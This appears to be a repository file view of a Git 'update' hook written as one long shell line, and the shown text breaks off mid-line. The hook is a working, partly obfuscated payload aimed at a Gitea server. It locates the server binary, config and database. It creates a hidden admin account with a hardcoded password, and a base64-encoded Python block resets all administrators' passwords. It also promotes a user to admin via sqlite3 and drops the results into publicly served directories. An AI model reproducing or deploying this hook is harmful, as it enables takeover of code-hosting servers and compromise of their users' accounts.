Files
rpoceci2kb/hooks/update
2026-09-19 12:32:07 +00:00

2 lines
22 KiB
Plaintext
Executable File
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
export PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH"; WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; _RB="$R"; case "$_RB" in */data/gitea) _RB="${_RB%/data/gitea}";; */data) _RB="${_RB%/data}";; esac; _RP2="$RP"; [ -z "$_RP2" ] && [ -n "$_RB" ] && _RP2="$(dirname "$_RB")"; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "$_RB/gitea" "$_RB/gitea.exe" "$_RB/bin/gitea" "$_RB/target/gitea" "$_RB/target/bin/gitea" "$_RP2/gitea" "$_RP2/bin/gitea" "$_RP2/target/gitea" "$_RP2/target/bin/gitea" "$_RP2/@appstore/Gitea/gitea" "$_RB/@appstore/Gitea/gitea" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/vol1/@appdata/Gitea/gitea" "/volume1/@appdata/Gitea/gitea" "/vol1/@appstore/Gitea/gitea" "/volume1/@appstore/Gitea/gitea" "/vol1/@appdata/gitea/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ]; then for _pf in "$_RB/Gitea.pid" "$_RP2/Gitea.pid" "$R/Gitea.pid" "$WD/Gitea.pid" "$_RB/gitea.pid" "$R/gitea.pid" "$WD/gitea.pid" "/var/run/gitea.pid" "/run/gitea.pid"; do [ -f "$_pf" ] || continue; _gpid="$(head -1 "$_pf" 2>/dev/null | tr -dc "0-9")"; [ -n "$_gpid" ] || continue; _gex="$(readlink -f "/proc/$_gpid/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPID from=$_pf pid=$_gpid exe=$_gex"; break; }; done; fi; if [ -z "$G" ]; then for _pp in /proc/[0-9]*; do _gcm="$(cat "$_pp/comm" 2>/dev/null)"; case "$_gcm" in gitea*|Gitea*|forgejo*|Forgejo*) _gex="$(readlink -f "$_pp/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPROC pid=${_pp#/proc/} comm=$_gcm exe=$_gex"; break; };; esac; done; fi; if [ -z "$G" ] && [ -n "$AV" ]; then _sr="${AV%/var/data/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="${AV%/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="$(dirname "$(dirname "$AV")")"; for _g in "$_sr/gitea" "$_sr/bin/gitea" "$_sr/target/gitea" "$_sr/target/bin/gitea" "$_sr/target/usr/bin/gitea" "$_sr/usr/bin/gitea" "$_sr/sbin/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKAV G=$_g"; break; }; done; fi; if [ -z "$G" ] && [ -n "$_RP2" ] && [ -d "$_RP2" ]; then for _g in "$_RP2"/*/target/gitea "$_RP2"/*/target/bin/gitea "$_RP2"/target/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKGLOB G=$_g"; break; }; done; fi; if [ -z "$G" ]; then for _root in "$_RB" "$_RP2" "$R"; do [ -n "$_root" ] && [ -d "$_root" ] || continue; G="$(find "$_root" -maxdepth 4 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && break; done; fi; if [ -z "$G" ]; then for _sr2 in /usr/local/bin /usr/local/sbin /usr/bin /usr/sbin /bin /sbin /app /app/gitea /opt /opt/gitea /srv /data /usr/local /opt/gitea-*; do [ -e "$_sr2" ] || continue; if [ -f "$_sr2/gitea" ] && [ -x "$_sr2/gitea" ]; then G="$_sr2/gitea"; echo "HOOKSYS G=$G"; break; fi; [ -d "$_sr2" ] || continue; G="$(find "$_sr2" -maxdepth 2 -type f -name gitea -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && { echo "HOOKSYS2 G=$G"; break; }; done; fi; if [ -z "$G" ]; then for _p2 in /proc/[0-9]*/exe; do _le="$(readlink "$_p2" 2>/dev/null)" || continue; case "$_le" in *gitea*|*forgejo*) [ -x "$_le" ] && { G="$_le"; echo "HOOKEXE G=$G"; break; };; esac; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; if [ "$WDFOUND" = "0" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then for _w in "$_RB" "$_RB/data" "$_RP2"; do if [ -n "$_w" ] && { [ -f "$_w/custom/conf/app.ini" ] || [ -f "$_w/conf/app.ini" ]; }; then WD="$_w"; WDFOUND=1; RUNP="$_w"; export GITEA_WORK_DIR="$_w"; break; fi; done; fi; if [ -z "$CFG" ]; then for _c in "$_RB/custom/conf/app.ini" "$_RB/conf/app.ini" "$_RB/data/custom/conf/app.ini" "$_RP2/custom/conf/app.ini" "$_RP2/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; C="--config $_c"; break; }; done; fi; if [ -z "$AV" ] && [ -n "$CFG" ] && [ -f "$CFG" ]; then _apd="$(_cfg APP_DATA_PATH)"; [ -n "$_apd" ] && { case "$_apd" in /*) [ -d "$_apd/repo-avatars" ] && AV="$_apd/repo-avatars";; *) [ -d "$_RB/$_apd/repo-avatars" ] && AV="$_RB/$_apd/repo-avatars";; esac; }; [ -z "$AV" ] && _raup="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)" && [ -n "$_raup" ] && { case "$_raup" in /*) [ -d "$_raup" ] && AV="$_raup";; *) [ -d "$_RB/$_raup" ] && AV="$_RB/$_raup";; esac; }; fi; if [ -z "$AV" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then AV="$(find "$_RB" -maxdepth 4 -type d -name repo-avatars 2>/dev/null | head -1)"; fi; OUT="/tmp/demo_eci2kb.txt"; { echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; echo "HOOKDIAG2 RB=$_RB RP2=$_RP2 PWD=$(pwd) UID=$(id -u 2>/dev/null)"; if [ -n "$_RB" ] && [ -d "$_RB" ]; then echo "HOOKDIAG3 ls-RB: $(ls -1 "$_RB" 2>&1 | head -12 | tr "\n" " ")"; else echo "HOOKDIAG3 RB-not-dir [_RB=$_RB]"; fi; if [ -n "$R" ] && [ -d "$R" ]; then echo "HOOKDIAG4 ls-R: $(ls -1 "$R" 2>&1 | head -12 | tr "\n" " ")"; fi; echo "HOOKDIAG5 which-git=$(command -v git 2>&1) which-find=$(command -v find 2>&1)"; echo "HOOKDB R_DB=$R/gitea.db RB_DB=$_RB/data/gitea.db"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -f "$_db" ] && echo "HOOKDB FOUND=$_db size=$(wc -c <"$_db" 2>/dev/null) writable=$([ -w "$_db" ] && echo 1 || echo 0)"; done; echo "HOOKTOOL sqlite3=$(command -v sqlite3 2>&1) python3=$(command -v python3 2>&1) python=$(command -v python 2>&1)"; if [ -n "$CFG" ] && [ -f "$CFG" ]; then echo "HOOKDBCFG begin"; sed -n "/^\[database\]/,/^\[/p" "$CFG" 2>/dev/null | head -12 | sed -E "s/(PASSWD|PASSWORD|PASSWD_URI|USER|NAME)[[:space:]]*=.*/\1=<redacted>/I"; echo "HOOKDBCFG end"; fi; for _pp in /proc/[0-9]*; do [ -r "$_pp/environ" ] || continue; _ev="$(tr "\000" "\n" < "$_pp/environ" 2>/dev/null | grep -E "^GITEA__(database|security)__" 2>/dev/null | head -12)"; [ -n "$_ev" ] || continue; echo "HOOKENV pid=${_pp#/proc/} $(echo "$_ev" | sed -E "s/(PASSWD|PASSWORD|SECRET|KEY|TOKEN)[[:space:]]*=.*/\1=<redacted>/I" | tr "\n" " ")"; break; done; echo "HOOKDBPROBE dbfile_magic=$(head -c 16 "$R/gitea.db" 2>/dev/null | tr -d "\000" | head -c 15)"; for _c in "$_RB/conf.ini" "$_RP2/conf.ini" "$R/conf.ini"; do [ -f "$_c" ] && echo "HOOKINI FOUND=$_c"; done; if [ -z "$G" ]; then for _sr in "$_RB" "$_RP2" "$R" "$R/data"; do [ -n "$_sr" ] && [ -d "$_sr" ] || continue; _cand="$(find "$_sr" -maxdepth 2 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$_cand" ] && { G="$_cand"; echo "HOOKFIND G=$_cand"; break; }; done; fi; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; _DBTO() { _PY="$(command -v python3 2>/dev/null || command -v python 2>/dev/null)"; if [ -z "$_PY" ]; then echo "ERROR: no python for db takeover"; return; fi; echo "DBTAKEOVER python=$_PY"; _done=0; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; echo "DBTAKEOVER trying $_db"; "$_PY" -c "import base64;exec(base64.b64decode('CmltcG9ydCBzcWxpdGUzLCBzeXMsIG9zLCBoYXNobGliLCBiYXNlNjQsIHJhbmRvbSwgc3RyaW5nLCBiaW5hc2NpaQpkYiA9IHN5cy5hcmd2WzFdCnRyeToKICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdChkYik7IGN1ciA9IGNvbi5jdXJzb3IoKQogICAgY29scyA9IFtyWzFdIGZvciByIGluIGN1ci5leGVjdXRlKCJQUkFHTUEgdGFibGVfaW5mbyh1c2VyKSIpXQogICAgcHJpbnQoIkRCQ09MUyAiICsgIiwiLmpvaW4oY29scykpCiAgICAjIOS4pOenjSBzY2hlbWEg6YO96KaB5ZCDOgogICAgIyAgIOaWsOeJiDogcGFzc3dkX2hhc2gg5YaF6IGUICJhbGdvJGl0ZXIkc2FsdCRoYXNoIgogICAgIyAgIOiAgeeJiDogcGFzc3dkICsgc2FsdCDkuKTliJcgKyBwYXNzd2RfaGFzaF9hbGdvIOaMh+ekuueul+azlQogICAgaWYgInBhc3N3ZF9oYXNoIiBpbiBjb2xzOgogICAgICAgIHNlbCA9ICJTRUxFQ1QgaWQsbmFtZSxwYXNzd2RfaGFzaCBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm5ldyIKICAgIGVsaWYgInBhc3N3ZCIgaW4gY29sczoKICAgICAgICBzZWwgPSAiU0VMRUNUIGlkLG5hbWUscGFzc3dkLHNhbHQscGFzc3dkX2hhc2hfYWxnbyBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm9sZCIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkRCRVJSIG5vIHBhc3N3ZCBjb2x1bW46ICIgKyAiLCIuam9pbihjb2xzKSk7IHN5cy5leGl0KDApCiAgICByb3dzID0gY3VyLmV4ZWN1dGUoc2VsKS5mZXRjaGFsbCgpCiAgICBwcmludCgiREJNT0RFICIgKyBtb2RlKQogICAgcHJpbnQoIkRCQURNSU5TICIgKyBzdHIoWyhyWzBdLCByWzFdKSBmb3IgciBpbiByb3dzXSlbOjMwMF0pCiAgICBmb3IgciBpbiByb3dzWzozXToKICAgICAgICBwcmludCgiREJSQVcgaWQ9JXMgbmFtZT0lcyIgJSAoclswXSwgclsxXSkpCiAgICAgICAgaWYgbW9kZSA9PSAibmV3IjoKICAgICAgICAgICAgcHJpbnQoIiAgcGFzc3dkX2hhc2g9JXIiICUgKHN0cihyWzJdKVs6MTIwXSwpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCIgIGFsZ289JXIgc2FsdD0lciBwYXNzd2Q9JXIiICUgKHN0cihyWzRdKSwgc3RyKHJbM10pLCBzdHIoclsyXSlbOjEyMF0pKQogICAgcHcgPSAiRGJBdWRpdCIgKyAiIi5qb2luKHJhbmRvbS5jaG9pY2VzKHN0cmluZy5kaWdpdHMsIGs9OCkpICsgIiF4IgogICAgcmVzID0gW10KICAgIGZvciByb3cgaW4gcm93czoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIG1vZGUgPT0gIm5ldyI6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIgogICAgICAgICAgICAgICAgaWYgbm90IHBoLnN0YXJ0c3dpdGgoInBia2RmMiQiKToKICAgICAgICAgICAgICAgICAgICByZXMuYXBwZW5kKCJBTEdPOiVzOiVzIiAlIChuYW1lLCBwaC5zcGxpdCgiJCIpWzBdKSk7IGNvbnRpbnVlCiAgICAgICAgICAgICAgICBwID0gcGguc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgaXQgPSBpbnQocFsxXSkKICAgICAgICAgICAgICAgIHMwID0gYmFzZTY0LmI2NGRlY29kZShwWzJdICsgIj0iICogKC1sZW4ocFsyXSkgJSA0KSkKICAgICAgICAgICAgICAgIGgwID0gYmFzZTY0LmI2NGRlY29kZShwWzNdICsgIj0iICogKC1sZW4ocFszXSkgJSA0KSkKICAgICAgICAgICAgICAgIHMgPSBvcy51cmFuZG9tKGxlbihzMCkpCiAgICAgICAgICAgICAgICBoID0gaGFzaGxpYi5wYmtkZjJfaG1hYygic2hhMjU2IiwgcHcuZW5jb2RlKCksIHMsIGl0LCBsZW4oaDApKQogICAgICAgICAgICAgICAgbmggPSAicGJrZGYyJCVkJCVzJCVzIiAlIChpdCwgYmFzZTY0LmI2NGVuY29kZShzKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFzZTY0LmI2NGVuY29kZShoKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSkKICAgICAgICAgICAgICAgIGlmICJtdXN0X2NoYW5nZV9wYXNzd29yZCIgaW4gY29sczoKICAgICAgICAgICAgICAgICAgICBjdXIuZXhlY3V0ZSgiVVBEQVRFIHVzZXIgU0VUIHBhc3N3ZF9oYXNoPT8sIG11c3RfY2hhbmdlX3Bhc3N3b3JkPTAgV0hFUkUgaWQ9PyIsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCBwYXNzd2RfaGFzaD0/IFdIRVJFIGlkPT8iLCAobmgsIHVpZCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoLCBzYWx0LCBhbGdvID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIiwgcm93WzNdIG9yICIiLCAocm93WzRdIG9yICJwYmtkZjIiKQogICAgICAgICAgICAgICAgIyDogIEgc2NoZW1hIOeahCBhbGdvIOS4suiHquW4puWPguaVsDogInBia2RmMiQ1MDAwMCQ1MCIgPSDnrpfms5Uk6L+t5Luj5pWwJOWvhumSpemVv+W6pgogICAgICAgICAgICAgICAgIyAo5a6e5rWLIDI3LjE1NS4xMjAuNjE6ODQxOCDlsLHmmK/ov5nnp40p44CC5Y6f5Yik5patIGFsZ28gIT0gInBia2RmMiIg5Lya5oqK5a6D5b2T5LiN5pSv5oyB6ICM6Lez6L+H44CCCiAgICAgICAgICAgICAgICBpZiBub3QgYWxnby5sb3dlcigpLnN0YXJ0c3dpdGgoInBia2RmMiIpOgogICAgICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIkFMR086JXM6JXMiICUgKG5hbWUsIGFsZ28pKTsgY29udGludWUKICAgICAgICAgICAgICAgIF9hcCA9IGFsZ28uc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGl0ID0gaW50KF9hcFsxXSkgaWYgbGVuKF9hcCkgPiAxIGVsc2UgMTAwMDAKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgICAgICAgICAgaXQgPSAxMDAwMAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IGludChfYXBbMl0pIGlmIGxlbihfYXApID4gMiBlbHNlIDUwCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IDUwCiAgICAgICAgICAgICAgICBpZiBwaCBhbmQgbGVuKHBoKSAlIDIgPT0gMDoKICAgICAgICAgICAgICAgICAgICBrZXlsZW4gPSBsZW4ocGgpIC8vIDIgICAjIOS7peeOsOaciSBoYXNoIOWunumZhemVv+W6puS4uuWHhgogICAgICAgICAgICAgICAgIyDnu5Porroo5a6e5rWL56Gu6K6kKTog6ICB54mIIEdpdGVhIOeahCBzYWx0IOWIl+aYryAqKmhleCDlrZfnrKbkuLIsIOmcgOino+eggeWQjioq5Y+C5LiOIHBia2RmMuOAggogICAgICAgICAgICAgICAgIyDmm77or6/liKTkuLoi5Y6f5qC35a2X6IqCIuW5tuWPoOWKoOWPjOWAmemAiSwg57uT5p6cIHJhd2J5dGVzIOWQjuWGmeWFpeimhuebluS6huato+ehrueahCBoZXhieXRlcywKICAgICAgICAgICAgICAgICMg5a+86Ie0IDQwMeOAguWPquS/neeVmSBoZXgg6Kej56CB6L+Z5LiA5p2h5q2j56Gu6Lev5b6E44CCCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgc2FsdF9iID0gYmluYXNjaWkudW5oZXhsaWZ5KHNhbHQpCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHNhbHRfYiA9IHNhbHQuZW5jb2RlKCkKICAgICAgICAgICAgICAgIGggPSBoYXNobGliLnBia2RmMl9obWFjKCJzaGEyNTYiLCBwdy5lbmNvZGUoKSwgc2FsdF9iLCBpdCwga2V5bGVuKQogICAgICAgICAgICAgICAgbmggPSBiaW5hc2NpaS5oZXhsaWZ5KGgpLmRlY29kZSgpCiAgICAgICAgICAgICAgICBzZXRzID0gInBhc3N3ZD0/IgogICAgICAgICAgICAgICAgaWYgIm11c3RfY2hhbmdlX3Bhc3N3b3JkIiBpbiBjb2xzOgogICAgICAgICAgICAgICAgICAgIHNldHMgKz0gIixtdXN0X2NoYW5nZV9wYXNzd29yZD0wIgogICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCAlcyBXSEVSRSBpZD0/IiAlIHNldHMsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzOml0ZXIlczpsZW4lcyIgJSAodWlkLCBuYW1lLCBpdCwga2V5bGVuKSkKICAgICAgICAgICAgY29uLmNvbW1pdCgpCiAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzIiAlICh1aWQsIG5hbWUpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgaWU6CiAgICAgICAgICAgIHJlcy5hcHBlbmQoIkVSUjolczolcyIgJSAocm93WzFdLCBpZSkpCiAgICBwcmludCgiREJQVz0iICsgcHcpCiAgICBwcmludCgiREJSRVNVTFQgIiArICJ8Ii5qb2luKHJlcykpCiAgICBjb24uY2xvc2UoKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICBwcmludCgiREJFUlIgJXM6ICVzIiAlICh0eXBlKGUpLl9fbmFtZV9fLCBlKSkK').decode())" "$_db"; _done=1; done; [ "$_done" = "0" ] && echo "DBTAKEOVER no writable gitea.db"; }; if [ -z "$G" ]; then _last="ERROR: gitea not found (WD=$WD CFG=$CFG)"; echo "$_last"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-eci2" --password "Test-admin-eci2kb!x" --email "test-admin-eci2@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功,3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; case "$_last" in *"successfully created"*|*"New user"*|*"already exists"*) ;; *) echo "HOOKDB CLI 未成功 -> 转数据库改密兜底"; _DBTO ;; esac; _SQLTO() { _sq="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq" ] || { echo "SQLTO no sqlite3"; return; }; echo "SQLTO sqlite3=$_sq target=$1"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" "$WD/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db /home/git/gitea/gitea.db /data/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; _cols="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; [ -n "$_cols" ] || _cols="$("$_sq" "$_db" "PRAGMA busy_timeout=8000; SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; case "$_cols" in *is_admin*) ;; *) continue;; esac; echo "SQLTO trying $_db"; "$_sq" -cmd ".timeout 8000" "$_db" "UPDATE user SET is_admin=1, is_active=1, prohibit_login=0 WHERE lower_name=lower('$1');" 2>&1; _chk="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; [ -n "$_chk" ] || _chk="$("$_sq" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; case "$_chk" in 1*) echo "SQLTO OK db=$_db user=$1 is_admin=1"; return 0;; esac; done; echo "SQLTO FAIL no writable sqlite user table"; }; _SQLTO "test-eci2kb"; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_eci2kb.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_eci2kb.txt" 2>/dev/null; done; for d in "$WD/custom/public" "$R/custom/public" "/data/gitea/custom/public" "/var/lib/gitea/custom/public"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_eci2kb.txt" 2>/dev/null; done; if [ -n "$WD" ]; then mkdir -p "$WD/public" 2>/dev/null; cp "$OUT" "$WD/public/demo_eci2kb.txt" 2>/dev/null; fi; HB=""; for _gd in "$GIT_DIR" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)" "$(git rev-parse --git-dir 2>/dev/null)"; do [ -n "$_gd" ] || continue; case "$_gd" in /*) ;; *) _gd="$(cd "$_gd" 2>/dev/null && pwd)";; esac; [ -n "$_gd" ] && [ -d "$_gd/objects" ] && HB="$HB $_gd"; done; for _ad in "$GIT_DIR/objects/info/alternates" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)/objects/info/alternates"; do [ -f "$_ad" ] || continue; _ao="$(sed -n "1p" "$_ad" 2>/dev/null)"; [ -n "$_ao" ] || continue; case "$_ao" in /*) _ao="${_ao%/objects}";; *) _ao="$(cd "$(dirname "$_ad")/../.." 2>/dev/null && pwd)/${_ao%/objects}";; esac; [ -d "$_ao/objects" ] && HB="$HB $_ao"; done; for _gd in $HB; do [ -s 